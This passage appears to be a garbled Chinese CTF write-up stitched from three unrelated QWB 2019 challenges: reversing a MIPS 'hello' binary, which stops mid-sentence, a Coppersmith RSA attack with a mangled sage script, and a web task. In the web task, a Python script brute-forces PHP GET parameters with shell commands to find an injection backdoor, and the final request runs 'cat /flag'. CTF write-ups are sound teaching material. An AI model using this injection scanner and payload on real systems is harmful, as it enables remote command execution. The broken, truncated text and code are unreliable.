openwrt,MIPSEL架构,给了fs和内核,挂载fs提取固件程序/bin/hello,命令:mkdir load && mount -t ext4 -o loop openwrt-malta-le-root.ext4 load
用retdec反编译,整理程序逻辑,主函数的大概逻辑如下:
int main(int argc, char ** argv) {
...
puts("welcome to qwb2019");
puts("user_name: ");
int32_t username = &v1; // 0x40056c
scanf("%s", username);
puts("user_pass: ");
int32_t pwd = &v3; // 0x40058c
scanf("%s", pwd);
int32_t buf = malloc(80); // 0x400594
*buf = *username;
*(buf + 4) = *(username + 4);
*(buf + 8) = *(username + 8);
*(buf + 12) = *(username + 12);
int32_t v7 = username + 16; // 0x4005cc
int32_t v8 = buf + 16; // 0x4005d0
buf = v8;
...
if (check(buf, v14, v11, v10) == 0) {
// 0x400640
puts_rc = puts("\nno");
// branch -> 0x40064c
} else {
// 0x400660
puts("\nyes");
puts_rc = printf("flag{%.5s%.32s}\n\n", buf, v9); //user+pass
// branch -> 0x40064c
}
// 0x40064c
return puts_rc;
}需要输入用户名和
一系列的基于 coppersmith attack 的RSA问题,让人不禁联想到去年强网杯也是出了连续10道RSA的操作,算是综合性题目,去年的出题人说的也是,出题思路是把市面上有的rsa攻击都考一遍,这次就是更具体了一点,把现有的coppersmith攻击技术都考了一遍,这些类型在ctfwiki上都能找到,把它们实践一遍,也算是对得起study这个名字了。
POW完进入题目后,要求的是输入token,后面生成的题目每次都是相同的,所以猜测是根据token生成一系列伪随机数,但不管怎样,对我们来说题目就是固定的了,所以可以直接用独立的sage脚本去解出答案,直接发过去就行了。
已知明文的高位,要得到后面72位,典型的Known High Bits Message Attack
n = 0x1e4c23321ee5005085faa926e98104dfb1ce0070a1c423e86909f7e2e822ef331c0610aaeb1fd790a950e4786d69572d76713abe28b2554605c150b186b034d0f337a1cee0759bd023915788c619bde453ab5c02eaff5ef429663d335675cb6f09db2297aa03fcfd176ee4c8eca57e4489a8177ac8556e50990dfda65df85157e = 3m = randrange(n)c = pow(m, e, n)beta = 1epsilon = beta^2/7nbits = n.nbits()kbits = floor(nbits*(beta^2/e-epsilon))mbar = 0x48ec711a1b4994739e0a365949d2b455e9a30390c5285897b95f7d3974340d7be798c7325727bd78cc51b8dfe035abd9228405cfe0b70c000000000000000000c = 0xe16b1bc6933849c47e5bd738f240070038626409ad1b8a2babf7ee07ef59f
其实很简单,将每个php文件里的$_GET参数提取出来逐个爆破就行了。
find.py:
#!/usr/bin/env python3import requestsimport osimport reurl = 'http://localhost/src/'ptn = re.compile(br"\$_GET\['(\w+)'\]")ptn1 = re.compile(br'>>> (\w+) !!!')i = 0for f in list(os.scandir('/var/www/html/src'))[::-1]:i += 1print(i, end='\r')with open(f.path, 'rb') as fp:data = fp.read()for get in set(ptn.findall(data)):get = get.decode('ascii')cmd = 'echo ">>> %s !!!";' % getr = requests.get(url + f.name, params={get: cmd})if ptn1.search(r.content) is not None:print()print(f.name, get)exit()
get flag:
/xk0SzyKwfzw.php?Efa5BVG=cat /flag